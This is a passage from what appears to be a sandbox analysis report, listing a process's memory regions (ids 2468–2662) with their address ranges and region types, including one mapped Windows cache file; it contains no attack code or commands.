0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2468 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2469 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2470 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2471 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2472 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2473 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2474 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2475 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2476 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2477 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2478 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2479 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2480 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2481 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2482 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2483 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2484 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2485 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2486 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2487 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2488 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2489 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2490 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2491 start_va = 0x540000 end_va = 0x543fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2492 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2493 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2494 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 2495 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 2496 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2497 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2498 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2499 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2500 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2501 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2502 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2503 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2504 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2505 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2506 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2507 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2508 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2509 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2510 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2511 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2512 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2513 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2514 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2515 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2516 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2517 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2518 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2519 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2520 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2521 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2522 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2523 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2524 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2525 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2526 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2527 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2528 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2529 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2530 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2531 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2532 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2533 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2534 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2535 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2536 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2537 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2538 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2539 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2540 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2541 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2542 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2543 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2544 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2545 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2546 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2547 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2548 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2549 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2550 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2551 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2552 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2553 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2554 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2555 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2556 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2557 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2558 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2559 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2560 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2561 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2562 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2563 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2564 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2565 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2566 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2567 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2568 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2569 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2570 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2571 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2572 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2573 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2574 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2575 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2576 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2577 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2578 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2579 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2580 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2581 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2582 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2583 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2584 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2585 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2586 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2587 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2588 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2589 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2590 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2591 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2592 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2593 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2594 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2595 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2596 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2597 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2598 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2599 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2600 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2601 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2602 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2603 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2604 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2605 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2606 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2607 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2608 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2609 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2610 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2611 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2612 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2613 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2614 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2615 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2616 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2617 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2618 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2619 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2620 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2621 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2622 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2623 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2624 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2625 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2626 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2627 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2628 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2629 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2630 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2631 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2632 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2633 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2634 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2635 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2636 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2637 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2638 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2639 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2640 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2641 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2642 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2643 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2644 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2645 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2646 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2647 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2648 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2649 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2650 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2651 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2652 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2653 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2654 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2655 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2656 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2657 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2658 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2659 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2660 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2661 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2662 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 